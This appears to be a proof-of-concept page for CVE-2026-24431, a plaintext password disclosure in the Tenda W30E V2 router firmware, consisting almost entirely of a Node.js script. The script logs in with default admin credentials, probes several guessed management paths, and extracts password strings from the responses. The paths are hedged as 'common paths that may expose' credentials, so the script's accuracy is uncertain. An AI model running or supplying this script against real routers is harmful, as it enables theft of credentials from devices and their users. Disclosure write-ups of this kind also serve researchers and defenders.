CVE-2026-24431 | Tenda W30E V2 固件管理界面明文显示用户密码漏洞

// CVE-2026-24431 PoC - Tenda W30E V2 Plaintext Password Disclosure // Author: Security Researcher // Target: Tenda W30E V2 Firmware <= V16.01.0.19(5037) const axios = require('axios'); // Configuration const TARGET_IP = '192.168.0.1'; // Router IP const USERNAME = 'admin'; const PASSWORD = 'admin'; async function exploit() { console.log('[+] CVE-2026-24431 PoC - Tenda W30E V2 Password Disclosure'); console.log('[+] Target:', TARGET_IP); try { // Step 1: Login to the router management interface const loginData = new URLSearchParams(); loginData.append('username', USERNAME); loginData.append('password', PASSWORD); const loginResponse = await axios.post( `http://${TARGET_IP}/login.cgi`, loginData, { headers: { 'Content-Type': 'application/x-www-form-urlencoded' } } ); console.log('[+] Login request sent'); const cookies = loginResponse.headers['set-cookie']; // Step 2: Access the affected page to retrieve plaintext passwords // Common paths that may expose user credentials const paths = [ '/user_mgnt.cgi', '/admin/account.asp', '/cgi-bin/user_mgnt', '/cgi-bin/account_list', '/system_status.asp' ]; for (const path of paths) { try { const response = await axios.get(`http://${TARGET_IP}${path}`, { headers: { 'Cookie': cookies ? cookies.join('; ') : '' } }); // Search for password patterns in response const passwordPattern = /password['"]?\s*[:=]\s*['"]([^'"]+)['"]/gi; const matches = response.data.match(passwordPattern); if (matches && matches.length > 0) { console.log(`[+] Found plaintext passwords at ${path}:`); matches.forEach(match => console.log(' ', match)); } } catch (err) { console.log(`[-] Path ${path} not accessible`); } } console.log('[+] Scan complete'); } catch (error) { console.error('[-] Error:', error.message); } } exploit();